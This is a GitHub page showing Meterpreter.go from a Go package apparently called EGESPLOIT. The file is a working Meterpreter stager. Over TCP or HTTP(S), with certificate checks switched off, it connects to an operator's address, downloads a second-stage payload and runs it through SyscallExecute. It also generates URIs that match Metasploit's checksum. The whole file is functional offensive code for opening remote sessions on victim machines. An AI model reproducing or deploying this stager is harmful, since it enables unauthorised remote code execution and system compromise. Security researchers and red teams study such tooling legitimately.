-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathMeterpreter.go
134 lines (117 loc) · 2.81 KB
/
Meterpreter.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
package EGESPLOIT
import (
"crypto/tls"
"encoding/binary"
"io/ioutil"
"math/rand"
"net"
"net/http"
"runtime"
"time"
//"github.com/sysdream/hershell/shell"
//egesploit "EGESPLOIT"
)
func Meterpreter(connType, address string) (bool, error) {
var (
ok bool
err error
)
switch {
case connType == "http" || connType == "https":
ok, err = ReverseHttp(connType, address)
case connType == "tcp":
ok, err = ReverseTcp(address)
default:
ok = false
}
return ok, err
}
func GetRandomString(length int, charset string) string {
var seed *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
buf := make([]byte, length)
for i := range buf {
buf[i] = charset[seed.Intn(len(charset))]
}
return string(buf)
}
// See https://github.com/rapid7/metasploit-framework/blob/7a6a124272b7c52177a540317c710f9a3ac925aa/lib/rex/payloads/meterpreter/uri_checksum.rb
func GetURIChecksumId() int {
var res int = 0
switch runtime.GOOS {
case "windows":
res = 92
case "linux":
res = 95
default:
res = 92
}
return res
}
func GenerateURIChecksum(length int) string {
var charset string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
for {
var checksum int = 0
var uriString string
uriString = GetRandomString(length, charset)
for _, value := range uriString {
checksum += int(value)
}
if (checksum % 0x100) == GetURIChecksumId() {
return uriString
}
}
}
func ReverseTcp(address string) (bool, error) {
var (
stage2LengthBuf []byte = make([]byte, 4)
tmpBuf []byte = make([]byte, 2048)
read int = 0
totalRead int = 0
stage2LengthInt uint32 = 0
conn net.Conn
err error
)
if conn, err = net.Dial("tcp", address); err != nil {
return false, err
}
defer conn.Close()
if _, err = conn.Read(stage2LengthBuf); err != nil {
return false, err
}
stage2LengthInt = binary.LittleEndian.Uint32(stage2LengthBuf[:])
stage2Buf := make([]byte, stage2LengthInt)
for totalRead < (int)(stage2LengthInt) {
if read, err = conn.Read(tmpBuf); err != nil {
return false, err
}
totalRead += read
stage2Buf = append(stage2Buf, tmpBuf[:read]...)
}
//shell.ExecShellcode(stage2Buf)
SyscallExecute(stage2Buf)
return true, nil
}
func ReverseHttp(connType, address string) (bool, error) {
var (
resp *http.Response
err error
)
url := connType + "://" + address + "/" + GenerateURIChecksum(12)
if connType == "https" {
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: transport}
resp, err = client.Get(url)
} else {
resp, err = http.Get(url)
}
if err != nil {
return false, err
}
defer resp.Body.Close()
stage2buf, _ := ioutil.ReadAll(resp.Body)
//shell.ExecShellcode(stage2buf)
SyscallExecute(stage2buf)
return true, nil
}